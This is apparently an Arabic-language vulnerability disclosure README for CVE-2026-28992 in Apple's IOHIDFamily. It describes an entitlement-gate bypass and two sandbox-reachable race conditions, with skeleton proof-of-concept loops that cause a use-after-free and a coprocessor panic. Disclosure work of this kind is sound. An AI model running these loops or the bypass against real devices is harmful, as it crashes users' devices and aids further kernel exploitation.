
ثغرة UAF (استخدام بعد التحرير) وانهيار المعالج المساعد AOP في IOHIDEventServiceFastPathUserClient. لا تتطلب أي entitlements، ويمكن الوصول إليها من عزلة التطبيق (app sandbox).
CVE-2026-28992 | المؤلف: Johnny Franks (@0xjohnny)
المكوّن: IOHIDFamily
التأثير: قد يتمكن المهاجم من التسبب في إنهاء غير متوقع للتطبيق
الوصف: تمت معالجة ثغرة إفساد الذاكرة عبر تحسين آلية القفل.
كلا إثباتي المفهوم (PoC) يؤديان إلى kernel-panic وإعادة تشغيل الأجهزة المتأثرة. احفظ عملك أولاً.
حالتا تسابق في IOHIDEventServiceFastPathUserClient (IOHIDFamily kext). لا حاجة إلى أي استحقاقات (entitlements). يمكن الوصول إليها من صندوق رمل التطبيق العادي.
يستخدم كلا المتجهين IOServiceOpen(service, task, 2, &conn). تتحقق بوابة الفتح sel0 من FastPathHasEntitlement وFastPathMotionEventEntitlement في OSDictionary المُقدَّم من المستدعي بدلاً من أعلام الاستحقاق المخزّنة أثناء initWithTask؛ يمر تطبيق داخل صندوق رمل عبر البوابة بإدراج تلك المفاتيح في بنية الإدخال.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
مسار الإغلاق (sel1) يُسقط حالة المزوّد ويمسح +0x109 بدون قفل. يتحقق copyEvent (sel2) من علم مختلف (+0x108) تحت قفل لكل اتصال، ثم يستدعي المزوّد. وجود اتصالات متعددة إلى نفس المزوّد يعني أن الإغلاق وcopyEvent يعملان في نطاقات قفل مختلفة على كائنات مشتركة على جانب المزوّد.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
يُطلق mach_port_destroy عملية didTerminate غير المتزامنة → الإغلاق/التفكيك، دون مزامنة مع مسارات الفتح sel0 المتزامنة على اتصالات أخرى. يؤدي هذا أيضاً إلى إشباع صندوق بريد المزوّدات المدعومة بـ SPU، مما يُفعّل مهلة مراقب AOP.
| المسار | الوصف |
|---|---|
UAFPoc/ | تطبيق iOS — يُفعّل UAF (خطأ وسم MTE على A17+، إجهاض بيانات على ما قبل A17) |
AOPPanicPoc/ | تطبيق iOS — يُفعّل panic المعالج المساعد AOP عبر إشباع صندوق بريد SPU |
panic-logs/mte-tag-fault.ips | خطأ فحص وسم النواة — iPhone 17 Pro Max (A19 Pro، MTE+PAC) |
panic-logs/ipad-data-abort.ips | إجهاض بيانات النواة — iPad Pro 12.9" الجيل الثاني (A10X، بدون MTE/PAC) |
panic-logs/aop-panic.ips | panic المعالج المساعد AOP — iPhone 17 Pro Max (فيضان صندوق بريد SPU) |